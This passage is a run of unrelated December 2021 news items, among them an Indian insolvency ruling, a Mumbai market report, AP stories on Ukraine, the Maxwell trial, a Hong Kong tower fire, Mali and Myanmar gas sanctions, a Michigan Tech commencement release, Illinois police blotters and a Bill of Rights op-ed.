Tribunal, under Section 7, was correct in simply dismissing the petition finding that corporate debtor has initiated the process of settlement with the financial creditors. The top court set aside the orders passed by the NCLT and the National Company Law Appellate Tribunal dismissing a petition filed under Section 7 of the IBC for initiating the Corporate Insolvency Resolution Process (CIRP) in a case. The genesis of the case arises from a master agreement to sell which was entered into between the respondent, IDBI Trusteeship Ltd and Karvy Realty (India) Ltd on June 22, 2014, in order to raise an amount of Rs 50 crore for the development of 100 acres of agricultural land. In 2019, a number of appellants filed a Section 7 application before the NCLT, Bengaluru due to the respondent's default in making the repayment of over Rs 33 crore. The NCLT, in February 2020, disposed of the petition after noting that both parties had filed joint consent terms. However, not all the petitioners had given their consent on the settlement. The tribunal directed the respondent to settle the matter within three months and allowed the original petitioners to approach it if they are still aggrieved. The petitioners moved the NCLAT, which supported the NCLT's view. The petitioners moved the top court challenging this order. The top court reinstated the Section 7 petition before the NCLT for fresh disposal. Disclaimer: Information, facts or opinions expressed in this news article are presented as sourced from IANS and do not reflect views of Moneylife and hence Moneylife is not responsible or liable for the same. As a source and news provider, IANS is responsible for accuracy, completeness, suitability and validity of any information in this article. We had mentioned in Tuesdays closing report that Nifty and Sensex may try to rally. On Wednesday, the indices opened flat and ended with loss. On the National Stock Exchange (NSE), 819 stocks advanced, 1,206 declined, and 58 remained unchanged with advance decline ratio of 0.68. The trend of the major indices on Wednesdays trading are given in the table below: Sensex and Nifty opened flat and plunged sharply in first hour to days low. Sun Pharma was top gainer and Bajaj Finance was top loser in Nifty and Sensex today. Bank Nifty witnessed a sharp selloff in last hour shedding 200 points. Kotak Mahindra Bank was the only constituent to end in the green today. According to Bank of America, Indias GDP will grow at 8.2% in FY22-23 and RBI will hike repo rates by 100 basis points. Rupee has plunged to its lowest level since 24 April 2020, recording a 20-month low of 76.8 a dollar. Union Cabinet has approved Rs 76,000 crore PLI (production linked incentive) scheme for semiconductor manufacturing. RBI has permitted Scheduled Payments Banks and Scheduled Small Finance Banks to conduct government business. Genus Power has bagged orders worth Rs 325 crore in various segments. Nykaa shares were up by 4% today after it launched skincare brand Elemis on its global store. PayTM share closed 7% down after lock-in period for anchor investors ended today. Precision wires has set 23 December as record date for stock split. The share was up by 7% during the day. Advanced Enzymes has entered into an agreement with Azelis Singapore for distribution of food enzymes and probiotics in Indonesia, Vietnam, Philippines, Malaysia and Thailand. TVS Motors and BMW Motors has announced to extend cooperation in future tech and EVs. TVS Motors share were up around 7% during the day but closed only 2.07% up. The top gainers and top losers of the major indices are given in the table below: The closing values of the major Asian indices are given in the table below: December 15, 2021 Open Thread 2021-98 News & views ... Posted by b on December 15, 2021 at 17:53 UTC | Permalink Comments next page BRUSSELS (AP) Ukrainian President Volodymyr Zelenskyy urged European Union leaders on Wednesday to swiftly impose new sanctions on Russia before it invades his country, and warned that acting after any conflict would be far too late. Speaking to reporters in Brussels, Zelenskyy said Ukraine stands ready to enter into talks with Russia to ease tensions, but that Russian President Vladimir Putin does not so far appear willing to come to the table. The EUs 27 national leaders will weigh how best to prevent a Russian invasion at a summit on Thursday. A statement drafted for their meeting, seen by The Associated Press, warns that any further military aggression against Ukraine will have massive consequences and severe cost in response. For us, it is important to have sanctions applied before, rather than after, the conflict would happen, because if they were applied after the conflict would happen, this would basically make them meaningless, Zelenskyy said. We have war going on for eight years. We understand that only if the sanctions are applied prior to the armed conflict would they become a prevention mechanism for any possible escalation, he said. U.S. intelligence officials say Russia has moved 70,000 troops toward Ukraines border and is preparing for a possible invasion early next year. Moscow denies that it has any plans to attack Ukraine, but did so in 2014 when it annexed the Crimean Peninsula. Zelenskyy said he and some EU leaders discussed five options for responding to any Russian attack, but he provided no details. European officials argue that it's a better deterrent to keep Putin in the dark about what measures might be used against him. Earlier, European Commission President Ursula von der Leyen said the EU has a battery of fresh sanctions ready if Moscow sends its troops across the border. Beyond scaling up existing sanctions, she said, the EU can adopt unprecedented measures with serious consequences for Russia. Asked by reporters whether Europe would act on Zelenskyys call, EU Council President Charles Michel said: We have sanctions in place, we are ready to take additional sanctions if needed, and we will see what happens. The U.S. and the EU have been coordinating their response to the Russian, but no real details of any sanctions have emerged. EU nations are divided between those in the east that think sanctions should be imposed immediately, and others like France and Germany who fear that could provoke an invasion. French President Emmanuel Macron and German Chancellor Olaf Scholz held a special meeting with Zelenskyy focused, at least in part, on how to revive the Normandy format involving their two countries plus Russia and Ukraine for talks aimed at ending the conflict. So far, Moscow has refused pleas to return to the negotiating table. Zelenskyy said Ukraine is open to negotiations of any kind, but that what we are lacking is a willingness on the other side, on the Russian side, to engage in any kind of format or negotiations with us. France and Germany brokered a peace agreement in 2015 that helped end large-scale hostilities in eastern Ukraine, where Ukrainian forces have been fighting Russia-backed separatists since 2014. Still the conflict that has left 14,000 dead has simmered. Scholz warned that more talks must not be misunderstood as a new German Ostpolitik, referring to West German Chancellor Willy Brandts policy of detente toward the communist Eastern bloc in the early 1970s. There can only be a European Ostpolitik in a united Europe that is based on principles of international law and order that Russia committed itself to but violated with the annexation of Crimea, he said. Compounding the testy relations with Moscow, Germany decided Wednesday to expel two Russian diplomats after a court concluded that Moscow was behind the killing of a Chechen man in Berlin two years ago ___ Geir Moulson contributed from Berlin. NEW YORK (AP) The case for and against Ghislaine Maxwell has been made, and as soon as Monday, her fate will rest squarely in the jury's hands. Maxwell, a socialite, has denied allegations from four women who say they were teens when she helped the wealthy financier Jeffrey Epstein sexually abuse them. Her lawyers say she has been wrongly targeted by prosecutors intent on holding someone anyone accountable after Epstein killed himself while awaiting trial on related sex-abuse charges. The evidence phase of the trial concluded within three weeks. With just days left before a verdict is expected, its time to take stock of developments. WHO ARE GHISLAINE MAXWELL'S ACCUSERS? The prosecution, mounted by the U.S. Attorney's Office for the Southern District of New York, hinges on the accusations of four women who say they were teenagers when Maxwell and Epstein sexually exploited them in the 1990s and early 2000s. Three testified under the pseudonyms Jane, Kate and Carolyn. One, Annie Farmer, decided to tell her story publicly. WHAT WAS GHISLAINE MAXWELL UP TO BEFORE HER ARREST? Maxwell was arrested in July 2020 almost a year after Epstein killed himself in jail while awaiting trial. After Epstein's death, she withdrew from public activities like running an oceans charity. Her whereabouts became a subject of public speculation. Was that her eating a burger and reading a book on CIA operatives in Southern California? Was she living in Britain or Paris or maybe even Massachusetts? Prosecutors say she went into hiding in New Hampshire where she was eventually arrested in a million-dollar home where she kept her cellphone wrapped in foil. SO HAS GHISLAINE MAXWELL BEEN IN JAIL THIS WHOLE TIME? Yes, despite multiple requests for bail, Maxwell has spent well over a year lodged in federal lockup in Brooklyn. Maxwell has triple citizenship with the U.S., U.K. and France, the last of which does not extradite its citizens. Her attorneys and family have lambasted jail conditions, which they say are punitive and inhospitable to Maxwells ability to mount a proper defense. HOW EXACTLY DO YOU PRONOUNCE GHISLAINE? Think French. Hard "g," silent s. First syllable: ghee, like the clarified butter, and quick. Second syllable, like a country lane and slightly emphasized. IS THE GHISLAINE MAXWELL TRIAL AIRING ON TELEVISION OR STREAMING? No. It's in federal court, which doesn't allow cameras. That's why all the images from the courtroom are sketched. WHEN DID TESTIMONY BEGIN? Nov. 29. HOW LONG DID IT TAKE PROSECUTORS TO MAKE THEIR CASE? The prosecution's case lasted two weeks, across 10 days of testimony. HOW LONG DID IT TAKE THE DEFENSE TO MAKE THEIR CASE? Two days. THAT'S IT? Yes, the witness lists for both sides were greatly truncated. The whole trial was originally projected to last six weeks! WHEN WILL GHISLAINE MAXWELL'S TRIAL BE OVER NOW? It's hard to give a precise estimate, but closing arguments are set for Monday and the jury could get the case as soon as the end of that day. We might see a verdict as early as Christmas, which also happens to be Maxwell's 60th birthday. WHY DIDN'T GHISLAINE MAXWELL TESTIFY? When offered the chance, she told the judge not without some defiance that she had no need to testify, as the prosecution had failed to adequately prove their case. But regardless, it's rare for a high-profile defendant to put themselves on the stand, as it opens them up to a lot more scrutiny. WHAT EXACTLY WAS GHISLAINE MAXWELL'S RELATIONSHIP WITH JEFFREY EPSTEIN? They were romantically involved, but at some point the timeline is unclear she says she transitioned to being more of an employee, running his households. Prosecutors have accused of her as functioning as Epstein's madam, procuring underage girls to satisfy him sexually. WHERE DID JEFFREY EPSTEIN HAVE HOMES? All over the place: Palm Beach, Florida; New Mexico; Manhattan; the U.S. Virgin Islands; Paris. WHAT DID JEFFREY EPSTEIN DO FOR A LIVING? He left his teaching career at a tony Manhattan prep school to work at Bear Stearns, an investment bank, and then started his own money-management business. He would not disclose his assets and income even after his July 2019 arrest, but he seems to have built a fortune managing investments for others. HOW IS PRINCE ANDREW INVOLVED IN ALL OF THIS? He's not. Not exactly, at least. A woman is suing the British royal, saying he sexually abused her when she was 17. She says Maxwell facilitated her meetings with Andrew, who has denied the account. But the woman's accusations have been left out of this trial. That lawsuit won't go to trial until at least late 2022. Andrew's name has come up in this trial, though: a pilot of Epstein's private jet, dubbed the Lolita Express by the news media, testified he had flown Andrew and an accuser confirmed she told the FBI she had flown with the prince, as well. WHO IS GHISLAINE MAXWELL'S HUSBAND? Also unclear! She was living with him when she was arrested in New Hampshire, but court documents have not made his name public. He did support her bail attempts, but has not been spotted at the trial. DOES GHISLAINE MAXWELL HAVE ANY NOTABLE SUPPORTERS? Her family the scions of the late publishing magnate, Robert Maxwell is sticking by her. Two of her siblings, Kevin and Isabel, have attended each day of proceedings. The Maxwells strongly assert the U.S. justice system is making a patsy of their youngest sister. Ghislaine is notably the baby of the family and said to have been the favorite of her father, who died falling off a yacht named for her. WHO IS THE JUDGE FOR GHISLAINE MAXWELL'S TRIAL? U.S. District Judge Alison J. Nathan, who was recently nominated by President Joe Biden to serve on the U.S. Court of Appeals for the Second Circuit. That promotion is not expected to interfere with proceedings in the Maxwell case, but the trial was in recess for the first three days of its third week so she could answer questions from the U.S. Senate panel charged with considering her elevation. HOW HAS GHISLAINE MAXWELL BEEN SPENDING HER TIME IN JAIL? According to a website set up by her family, Maxwell has been working through a pile of books. Her reading list runs the gamut of criminal-justice related books like the award-winning Just Mercy by Bryan Stevenson to Licensed to Lie: Exposing Corruption in the Department Justice by Sidney Powell, a conspiracy theorist and former lawyer for President Donald Trump. She's also been making her way through Philip Pullman's His Dark Materials fantasy series and popular book club fiction pick Eleanor Oliphant is Completely Fine, by Gail Honeyman. IF CONVICTED, HOW MUCH TIME IN PRISON WOULD SHE BE LOOKING AT? Potentially many years. LET'S REWIND: WHAT EXACTLY IS GHISLAINE MAXWELL CHARGED WITH? This ongoing trial revolves around six charges: 1. conspiracy to entice minors to travel to engage in illegal sex acts 2. enticement of a minor to travel to engage in illegal sex acts 3. conspiracy to transport minors with intent to engage in criminal sexual activity 4. transportation of a minor with intent to engage in criminal sexual activity 5. sex trafficking conspiracy 6. sex trafficking of a minor A superseding indictment in March also charged Maxwell with two counts of perjury, but the judge granted the defense's request to spin those off into a separate trial. SO THERE'S MORE TO COME? Yes. Regardless of the outcome of this trial, there's more to come. An electrical engineer whose mastery of business skills supercharged his career and a graduating civil engineer on his way to an MBA are featured speakers at Michigan Technological Universitys 2021 Midyear Commencement. The ceremony, at 10:30 a.m. Saturday in the Student Development Complex Varsity Gymnasium, is the moment nearly 500 Huskies have been waiting for as recipients of hard-earned bachelors, masters and Ph.D. degrees. Theyll be addressed by student speaker Jay Czerniak, a civil engineering major from Medford, Wisconsin, who graduates with a minor in philosophy and ethics. Commencement Logistics Face coverings are required in the building. See MTU Flex for additional campus health and safety protocol information. Free parking is on a first-come, first-served basis in Lot 22 adjacent to the SDC and Lot 24 near the football field. See the campus map for accessible parking locations. Share your Husky Pride on social media using #mtugrad. Building a Bright Future and Ice Cathedrals Czerniaks Michigan Tech story is built on a foundation of family and faith. He found a second family at Tech as a member of St. Albert the Great University Parish, known for its close-knit, welcoming community and its steadfast and stellar MTU Winter Carnival participation through the years including the relatively new tradition of building an ice cathedral for outdoor services on Carnival weekend. I will be forever grateful to St. Als and for all those who have helped me grow not only as a professional but as a human being during my time at Tech, said Czerniak, whose time at MTU isnt over. He returns to campus in spring semester 2022 to pursue a masters in business administration (MBA). In June, he plans to return to Wisconsin to start his career as a project manager with Miron Construction, where he previously interned. "I hear often that faith is lost in college but at Michigan Tech, with the mystery of science and wonders of a gorgeous natural world, there is ample opportunity to grow and mature in one's faith." Jay Czerniak, Midyear Commencement Student Speaker Michigan Tech was my dream school, said Czerniak, who learned about Tech from introductory engineering courses at his high school offered through Project Lead the Way. It topped the list for schools in the Midwest. My love for snow, the outdoors and a desire for a small-town atmosphere made Tech the perfect place for me. Picking a major was also easy. My grandfather operated his own small excavating company. From a young age he helped expose me to the world of construction. I was instantly hooked. Civil engineering is the perfect major to exercise my passion for construction and design as well as my desire to engineer and problem solve. Other Ways to Watch Not here? No worries. If you cant attend Saturdays event in person, catch the commencement livestream. Building a Leadership Legacy and Family Traditions The other Husky headlining Saturdays event is commencement speaker Mike Pulick Jr., who built an exceptional career through developing the business leadership skills he first learned at Tech. The 1986 electrical engineering (EE) graduate also knows about following in family footsteps and in his case, those steps led to extraordinary family ties with Michigan Tech. Mike Pulick Jr. is MTUs Midyear Commencement speaker. A native of Livonia, Michigan, Pulick credits Tech as the portal to the leadership skills he developed in a career that began at General Electric (GE). There, the former MTU Blue Key President, who led the massive organizational effort to stage Michigan Techs iconic Winter Carnival, took the next step in his career by completing GEs Manufacturing Management Program. The combination of those two experiences in leadership and management really helped me in my career. I would go on to take on future roles and situations that involved leading a wide variety of people, said Pulick, who later earned his MBA from The University of Chicago. After 12 years in numerous GE divisions, in 1999 Pulick joined W.W. Grainger Inc., ascending from vice president of product service management to president of Grainger International. In 2015, Pulick joined the private equity firm Warburg Pincus, where he was executive in residence for the industrial and business service sector through 2019. Current chairman of the Michigan Tech Fund Board of Directors, Pulick also serves on the Wencor Group, Kano Laboratories and Wittichen Supply boards of directors, and is an adjunct professor at Florida Gulf Coast University in the Lutgert College of Business. He also served on the Michigan Tech College of Business Deans Advisory Council for five years. In keeping with his commitment to expose STEM (science, technology, engineering and math) students and professionals to business, financial and leadership experiences, Pulick also previously served on the Illinois Institute of Technology Board of Trustees and the board for Junior Achievement of Chicago. Pulick has more than his own graduation to reflect on as he takes the speakers podium Saturday. Three of his siblings graduated from Tech with engineering degrees. His older sister majored in mechanical engineering, his younger sister in environmental engineering and his brother in civil engineering. But wait. It gets better. My older sister, younger sister and I all married MTU engineers, Pulick said. Pulicks favorite Michigan Tech memory is meeting his wife, Liz. I was a junior, she was a freshman, he said. Our first date was at the theater in Hancock. The couple of 33 years married in June 1988, shortly after she earned her mechanical engineering degree. Liz and Michael Pulick live in Naples, Florida. The couple enjoys northern Michigan summers in Petoskey, Michigan and spending time with family, including their two adult children, Eric and Rachael, and spouses Kelsey and Matt. Building Aspirations and Life-long Tech Connections Kanwal Rekhi, a visionary who has routinely worked to forward entrepreneurial skills and educational opportunities at Michigan Tech and around the world, will receive the Melvin Calvin Medal of Distinction during Saturdays event. The medal is awarded to individuals associated with Michigan Tech who, like its Nobel prize-winning namesake, have exhibited extraordinarily distinguished professional and personal accomplishments. Rekhi, who earned his masters in electrical engineering from MTU in 1969, is managing director of Inventus Capital Partners in California. Kristin Kolodge will deliver the traditional Alumni Welcome to the graduating class. The 1995 mechanical engineering graduate currently serves as MTU Alumni Board president and is executive director of human machine interface at J.D. Power. Michigan Technological University is a public research university founded in 1885 in Houghton, Michigan, and is home to more than 7,000 students from 55 countries around the world. Consistently ranked among the best universities in the country for return on investment, the University offers more than 125 undergraduate and graduate degree programs in science and technology, engineering, computing, forestry, business and economics, health professions, humanities, mathematics, social sciences, and the arts. The rural campus is situated just miles from Lake Superior in Michigan's Upper Peninsula, offering year-round opportunities for outdoor adventure. HONG KONG (AP) Firefighters on Wednesday rescued hundreds of people who fled to the rooftop of a Hong Kong skyscraper and became trapped there after a major fire broke out. Hours later, the fire service said the blaze was extinguished. In addition to those on the roof, dozens jammed into narrow areas in an open-air area on the fifth floor, peering over the edge as they awaited rescue. Firefighters had used an extendable ladder to reach them. In all, firefighters brought 770 people out of the building, said Ng Yau Sheung, Hong Kong Fire Services Departments senior divisional officer. Another 40 people left on their own, he added. At least 13 people were sent to hospital for treatment, according to authorities. Three of them suffered injuries while 10 others suffered from smoke inhalation. The fire started in the early afternoon at the World Trade Centre on Gloucester Road in the citys popular Causeway Bay shopping district, according to a government notice. The 38-story tower houses both offices and a mall. Dense smoke was seen billowing out from the building, and photos and videos from those trapped inside showed poor visibility as smoke filled restaurants and stairways of the building. Authorities said that the fire spread from the building's bottom two floors, which is occupied by a mall undergoing extensive renovations. The fire services system had been shut off in the mall area, according to fire department officer Ng. If the system is under repair, its possible that the contractor will shut down the area affected, he said during a news conference Wednesday evening. Authorities said they were still looking into whether fire safety regulations had been breached. Earlier, police had told local media that about 300 people had evacuated to the top of the building while waiting to be rescued. Preliminary investigations by the police suggested that the fire had broken out in the electrical switch room located on the first floor of the shopping mall, before spreading to the scaffolding that surrounded part of the building, according to local newspaper South China Morning Post. Authorities said the fire was under control by around 3:06 p.m. and was largely put out by 4:30 p.m. The fire services department deployed 176 firefighters to the site. Two breathing apparatus teams and two water jets were mobilized to help fight the blaze, police said. Overnight reports from Jacksonville-area police: Traffic-stop charges: Casey L. Dossett, 30, of 146 Ross St., White Hall, was arrested on charges of possession of drug paraphernalia, possession of adult-use cannabis, driving while license is suspended, operating an uninsured motor vehicle and resisting or obstructing a peace officer after a traffic stop at 11:37 p.m. Tuesday at North Westgate and Lafayette avenues. Three-car crash: Marvin T. Anderson, 66, of Arenzville was cited on a charge of following too closely after his vehicle and one being driven by Joyce A. Merriman, 68, of Bluffs collided at 12:19 p.m. Tuesday at Lincoln and Morton avenues. Anderson's vehicle then sideswiped a vehicle being driven by Mariana B. Brown, 20, of Jacksonville that was stopped at the traffic light, according to police. Disorderly student: A 14-year-old boy was arrested at 12:19 p.m. Tuesday at Garrison Alternative School, 936 W. Michigan Ave., on charges of disorderly conduct and resisting a peace officer. He was accused of getting physical with staff members and trying to lock himself in a classroom. PITTSFIELD Pike County health officials will continue to offer free drive-through COVID-19 testing from 9 a.m. to 1 p.m. today and Thursday, but will change the testing location next week. Pike County Health Department provides testing at Pike-Scott Farm Bureau at 1301 E. Washington St. Sheriff ARRESTS, CITATIONS Raefeal E. Carter, 40, of Hannibal, Missouri, was booked into Pike County Jail at 3:40 p.m. Dec. 6 on a charge of possession of a firearm with an invalid Firearm Owner's Identification card and on a Pike County warrant accusing him of failing to appear in court. Stephanie K. Short, 56, of New Canton was booked into Pike County Jail at 3:03 p.m. Dec. 8 on a charge of making a false alarm or complaint to 911. Thomas B. Shamblin, 34, of Pittsfield was booked into Pike County Jail at 4:32 p.m. Dec. 7 on a domestic battery charge. Compiled by David C.L. Bauer Most Americans know the Bill of Rights. But too few Americans know that the way we enjoy those crucial rights today is inextricably linked to the way our Constitution was transformed after the Civil War. The first 10 amendments to the Constitution mark 10 early steps America took along what we at Constitutional Accountability Center call the arc of constitutional progress. Many people in the founding era opposed ratifying the Constitutions original articles because they believed, as James Madison explained to the first Congress in 1789, it did not contain effectual provision against encroachments on particular rights. To remedy these objections, the Bill of Rights, Madison said, expressly declare(s) the great rights of mankind secured under this constitution. Today, we know many of these rights by heart. Freedom of speech and press. Freedom from government establishment of religion and free exercise of religion. The right to be secure from unreasonable government searches and seizures. The rights to due process of law and against self-incrimination, and many others. In fact, the Ninth Amendment tells us the Bill of Rights isnt exclusive, and that we, the people, have other rights not specifically mentioned in the Constitution. As advanced as it was for its time, however, the Bill of Rights still fell critically short. It applied only to the actions of the federal government, allowing states to run roughshod over these rights. Even worse, these promised great rights of mankind stood in brutally stark contrast to the institution of slavery, ringing as hollow mockery in the face of the most fundamental deprivations of life and liberty. In the wake of the Civil War, however, African-Americans, abolitionists and other Americans joined together to further expound the meaning of freedom. The ratification of the 13th, 14th and 15th amendments to the Constitution brought about what has been called a Second Founding, revolutionizing our governing charter to prohibit chattel slavery, promise citizenship to all born in America, offer equal protection under the law, and protect the right to vote from racial discrimination. Americas post-Civil War Second Founders updated the Bill of Rights in two ways. First, they widened the umbrella of its majestic protections to cover everyone in America, to prevent state and local governments from violating our rights without fear of consequence. Most of the Supreme Courts most celebrated rulings vindicating the rights set out in the Bill of Rights cases such as New York Times v. Sullivan, Gideon v. Wainwright, and Miranda v. Arizona are actually 14th Amendment cases. Without the 14th Amendment, states would be free to violate every single right listed in the Bill of Rights, as states in fact did to perpetuate the institution of slavery. It is because of the effort of our Reconstruction framers that our fundamental rights are guaranteed no matter where in the United States you live. To be sure, the promise of the transformed Constitution has not always translated into a lived reality for far too many in this country. But there is power in the words generations of activists fought so hard to write into our national charter we know what should be ours, and we demand change when constitutional promises are illusory. Second, the 14th Amendment expanded the meaning of freedom beyond the fundamental rights in the Bill of Rights. As my colleague, Constitutional Accountability Center Civil Rights Director David Gans, has explained, the 14th Amendments framers sought to safeguard fundamental rights that have no explicit textual basis in the Bill of Rights but that are crucial to equality and liberty. At the Second Founding, in fact, the framers of the 14th Amendment said, It is the Declaration of Independence placed immutably and forever in our Constitution. The Bill of Rights, therefore, remains timeless and essential to our civic life. But it is just part of Americas struggle to become a more perfect union. As our ancestors taught us, that work is never finished. Through times of war and peace, and even pandemic, they showed us that America is best when the arc of our Constitution bends ever toward progress and liberation. BAMAKO, Mali (AP) French forces left the city of Timbuktu late Tuesday, the latest sign that the former colonial power is drawing down its presence in northern Mali nearly nine years after driving Islamic extremists from power there in a military intervention. The symbolic move comes amid fears about whether the Malian military can now step in and fend off the extremists, who have regrouped and expanded their reach even further southward since the 2013 offensive. In a communique, the French military emphasized late Tuesday that the Malian military maintains a strong garrison in Timbuktu, in addition to nearly 2,200 U.N. peacekeepers who are permanently deployed there. Residents told The Associated Press late Tuesday that the Malian military has occupied the former French military base. The French military already has shut down its bases further north in Kidal and Tessalit but is maintaining its presence in Gao near a volatile border region where operations have been concentrated in recent years. France announced earlier this year that it would be withdrawing more than 2,000 troops from the Sahel by early 2022, refocusing its military efforts on neutralizing extremist operations, and strengthening and training local armies. The decision came amid mounting political instability in Mali, where Col. Assimi Goita carried out two coups in less than a years time before being sworn in as the countrys interim president. The international community has set a deadline for new democratic elections to be held by the end of February, though there are growing signs that will not happen. On Sunday, the regional bloc known as Economic Community of West African States warned that Mali could face additional sanctions if more concrete progress is not made by Jan. 1 toward preparing for elections. The Community already has suspended Mali, and it slapped travel bans and asset freezes on members of the transitional government. The junta has cited mounting insecurity throughout Mali as a reason why Februarys deadline is not attainable. ___ Associated Press writer Krista Larson in Dakar, Senegal contributed. By BABA AHMED Associated Press Myanmar public urges gas sanctions to stop military funding View Photo JAKARTA, Indonesia (AP) The young woman in Myanmar decided to speak out when she realized that money from the company she loved was now in the hands of the military leaders she hated. She and her parents had long worked for Total Energies, the French company that operates a lucrative gas field off the coast of southern Myanmar with a state-owned enterprise. But in February, the military took over Myanmars government and its bank accounts, including those that receive hundreds of millions of dollars each year from the Total gas field, known as Yadana. As military abuses such as the murder and detention of thousands have grown, the young woman joined others across Myanmar in a groundswell of support for targeted sanctions on oil and gas funds, the countrys single largest source of foreign currency revenue. But Western governments most notably the United States and France have refused to take that step amid lobbying from energy company officials and resistance from countries such as Thailand, which gets gas from Myanmar. On Friday, the U.S. announced a raft of sanctions against several Myanmar officials and entities, but again left out oil or gas revenues. The young woman chanted slogans outside Totals offices, and later protested the militarys takeover. She said she has since lost her job, and was thrown into prison for three weeks. We had a good relationship and good memories of Total, said the young woman, whose name, like those of other Myanmar gas workers in this story, is being withheld by The Associated Press for their safety. Total has taken a lot from Myanmar.so they should at least help Myanmar with a little bit of effort during such a bloody period in our country. In recent months, the Myanmar publics cries for sanctions on gas revenues have grown thunderous. In August, activists launched the Blood Money Campaign movement, risking their lives by marching in the streets and carrying signs that read: Freeze payments to junta and save Myanmar. Others posted photos of themselves on social media holding signs that targeted the gas companies at the center of the debate: Total, Chevron Stop accessory to murder. The United Nations top expert on human rights in Myanmar says millions of people across the country are imposing personal sanctions by withholding taxes, refusing to pay power bills and boycotting products linked to the military. And on Nov. 30, 540 civil society organizations in Myanmar joined international colleagues in sending a letter to CEO Patrick Pouyanne asking Total to put an end to its complicity in crimes against humanity by making payments to a holding account. The letter argued that Total is violating local laws against misappropriating public money and has placed itself on the side of the junta. The AP also obtained a copy of a letter from workers at Yadana to their managers earlier this year calling on Totals subsidiary, Total E&P Myanmar, to suspend export payments to the military, place the funds in a protected account and freeze income tax. We are specifically concerned that the profits gained from Yadana Project, which we are working for, will, one way or another, help fund the military juntas violent repression of Myanmar people, the letter said. Total and Chevron say they condemn human rights abuses, but also want to prevent further harm to the people of Myanmar by cutting off electricity. In addition, Total said it is wary of putting its local employees in danger of reprisals from the military, including forced labor. Meanwhile, tolerance on the ground for global inaction has worn thin. Local armed groups, referred to as Peoples Defense Forces, have targeted bill collectors for the national utility and sabotaged buildings and infrastructure, according to EarthRights International, which works on environmental and human rights issues in Myanmar. Pro-sanctions activists do not want to shut down the gas field itself. Instead, they want to sanction the projects revenues and place them in a protected offshore bank account that the military cant touch. The sanctions would target the state-owned Myanma Oil and Gas Enterprise (MOGE), which is a joint venture partner in all offshore gas projects in Myanmar, including Yadana with Total, Chevron, and Thailands PTT Exploration & Production. Total has a majority stake in the venture and runs its daily operations, while MOGE collects revenues on behalf of the government. Gas from Yadana is piped to Myanmar and neighboring Thailand. Total cancelled exploration for new deposits in Myanmar after the military takeover. But it argues that it has to pay taxes and respect its contracts under the law, and that it will donate the equivalent of the taxes to human rights associations in Myanmar. Total said it would willingly comply with any new international sanctions, which would override local laws that govern its contracts in Myanmar. In particular, should MOGE be under economic sanctions it would oblige all parties to put all cash flows due to MOGE in an escrow account, the company told AP in a statement. We have taken all possible measures under our control and respecting the legal framework without putting our staff at risk. Several smaller offshore gas fields also operate in Myanmars waters, run by companies from Thailand, Japan, Malaysia, India and South Korea in partnership with MOGE. And China is an investor in the pipeline that delivers the gas to the country. About 50 percent of Myanmars foreign currency comes from natural gas revenues, with MOGE expected to earn $1.5 billion from offshore and pipeline projects in 2021-2022, according to a Myanmar government forecast. The Yadana gas project and pipeline is particularly important, earning around $400 million in revenues in 2017-2018. Yet despite the growing calls for action, neither U.S. President Joe Biden nor French President Emmanuel Macron have publicly moved against Myanmars oil and gas revenues. The current sanctions from the U.S. and European Union lean heavily on gemstones. The U.S. State Department did not directly address APs questions about why it has yet to impose sanctions on MOGE. Instead, the department pointed to a list of other people and entities the U.S. has already sanctioned, including several military officials and their family members, two army units believed responsible for a litany of atrocities, the militarys two largest holding companies and a state-owned gems enterprise. We will not hesitate to take further action against those who perpetrate violence and suppress the will of the people, the department said in a statement. U.S. Secretary of State Antony Blinken said Wednesday that the Biden administration is weighing tough new sanctions on Myanmar to pressure the countrys military leaders to restore a democratic path. He did not mention oil and gas sanctions. An aide on the House Foreign Affairs Committee acknowledged that oil and gas make up a huge chunk of the militarys ability to maintain control. Despite that, a measure introduced in the House in October that specifically calls out MOGE as a potential sanctions target has yet to advance. The aide, who spoke on condition of anonymity to describe the thinking around the legislation, said objections from Singapore and Thailand have played a role in the Biden administrations hesitation to impose new sanctions, as has lobbying from Chevron. Activists have accused Singapores banks of holding assets on the Myanmar militarys behalf, although its central bank has said regular surveillance showed Myanmar companies and citizens did not have significant funds in the city state. In the first half of 2021, Chevron reported spending $3.7 million on federal lobbying in the U.S., with Burma Energy Issues and Myanmar Energy and Investment Issues listed as specific lobbying areas of focus. It certainly seems in the U.S. there is a major lobbying campaign going on from Chevron to try and protect its interests, said Chris Sidoti, a human rights lawyer and a member of the U.N. Fact Finding Mission on Myanmar from 2017 to 2019. In response to questions from the AP, a spokesman for Chevron pointed to an earlier statement from the company, which said Chevron would comply with any sanctions imposed by the U.S. Any actions should be carefully considered to ensure the people of Myanmar are not further disadvantaged by unintended and unpredictable consequences of well-intentioned decisions, Chevron wrote in its May statement. The French government also said it wants to avoid adding to the burdens of Myanmar civilians through sanctions and aims to target individuals from the junta rather than a vital economic sector. France wants to avoid normalizing relations with the junta but also wants to stay involved on the ground for humanitarian reasons, which requires operational contacts with Myanmars administration, according to a senior official in the French presidents office. He described the French governments thinking on condition of anonymity. He said Totals activities in Myanmar, including how it carries out payment for the gas, are the companys responsibility. Both the French government and Total want a return to a democratically elected government, but at the same time you have to take into account the reality on the ground, he said. French authorities have told activists that Europe is expecting to impose a fourth round of sanctions by Feb. 1, the anniversary of the militarys takeover, and that both the energy and banking sectors are on the table. MOGE can be targeted for sanctions without interrupting the flow of energy, said Tom Andrews, the United Nations special rapporteur on Myanmar. The people of Myanmar are not calling for anything that they, themselves, are unwilling to do, Andrews said in an e-mail to the AP. But the fact remains that to be truly effective, the people of Myanmar need countries to join them and impose sanctions on MOGE. Human rights activists say its unconscionable for any company to help fund a military that has, in recent months, engaged in mass torture, launched attacks on medics, forcibly disappeared thousands of people, and returned mutilated corpses to victims families as tools of terror. Since February, soldiers and police have killed at least 1,300 people and arrested more than 10,800, according to the Assistance Association for Political Prisoners, which monitors deaths and arrests. Last month, the National Unity Government, an underground opposition group and parallel administration, released a public statement that dubbed MOGE the militarys most important financial lifeline and called for urgent sanctions. As a nation, we have these natural resources to build a school, to build a hospital, to build a road, said spokesman Dr. Sasa, who goes by one name. So why are we still using this money to kill the people of Myanmar? To us, it is barbarity. In response to questions, the military said state revenue is used for education, infrastructure, development projects and public service, and is also used proportionately for the rule of law and for defense. The military has long denied allegations of human rights abuses. All state revenue is spent according to the needs of the country, the military said in a statement to the AP. Putting restrictions on the current government is directly affecting the social and economic life of the citizens. The Yadana project provides less than 1.5 percent of Chevrons worldwide natural gas output, and Total says Yadana represents less than 1 percent of its production. But while Yadana isnt a significant source of income, it also doesnt cost the companies much because major set-up fees were incurred decades ago, said Readul Islam, a Singapore-based research analyst at Rystad Energy. Chevron and Total would also struggle to sell the 